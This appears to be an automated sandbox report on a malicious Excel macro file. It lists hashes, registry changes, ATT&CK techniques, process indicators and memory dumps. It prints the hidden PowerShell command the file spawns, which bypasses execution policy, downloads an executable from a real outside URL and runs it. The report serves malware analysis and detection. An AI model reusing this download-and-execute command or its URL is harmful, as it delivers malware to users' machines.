0364dd00aca1c715d27ee39db28962940b16b012a8cfd2e5fc3a59dae8f38a50

General

Target

99a2af2b1d39d3ca267095cc733dd5e285b40b9c6b1709d34dbb213387c8df93.xlsm
Size

42KB
MD5

edef1e97fcca56228c1956db6b514f55
SHA1

00d1bb1cf96aee9a21508b23f6ac113153131b1c
SHA256

99a2af2b1d39d3ca267095cc733dd5e285b40b9c6b1709d34dbb213387c8df93
SHA512

ba718485a68b2a9f5c134e186309dae1d169c22fcc15a4d028121df564fd64a9805e3d31a7edf82279b371c883721dc4d8accc2a3fe02ab3b841cd184b7aa236
SSDEEP

768:WrvDK4vwssnjS7zWl2BIJYfTH+niSpwvDHvDv+nWfFFiKk/f1qtfHF7RT+nsFf:ivXvwTjSul2G1BoTvDv+0FFi3/dqJl7Z

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	628	1708	powershell.exe	EXCEL.EXE

Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1708 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

628 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 628 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1708 EXCEL.EXE
1708 EXCEL.EXE
1708 EXCEL.EXE

pid	process
1708	EXCEL.EXE

pid	process
628	powershell.exe

description	pid	process
Token: SeDebugPrivilege	628	powershell.exe

pid	process
1708	EXCEL.EXE
1708	EXCEL.EXE
1708	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 1708 wrote to memory of 628	1708	EXCEL.EXE	powershell.exe
PID 1708 wrote to memory of 628	1708	EXCEL.EXE	powershell.exe
PID 1708 wrote to memory of 628	1708	EXCEL.EXE	powershell.exe
PID 1708 wrote to memory of 628	1708	EXCEL.EXE	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\99a2af2b1d39d3ca267095cc733dd5e285b40b9c6b1709d34dbb213387c8df93.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1708

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "https://mindfree.co.za/1/Recrypted.pif" -OutFile $TempFile; Start-Process $TempFile;
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:628

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/628-59-0x0000000002460000-0x00000000024A0000-memory.dmp

Filesize
256KB

Download
memory/628-60-0x0000000002460000-0x00000000024A0000-memory.dmp

Filesize
256KB

Download
memory/628-61-0x0000000002460000-0x00000000024A0000-memory.dmp

Filesize
256KB

Download
memory/1708-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1708-55-0x0000000000310000-0x0000000000410000-memory.dmp

Filesize
1024KB

Download
memory/1708-56-0x0000000000310000-0x0000000000410000-memory.dmp

Filesize
1024KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads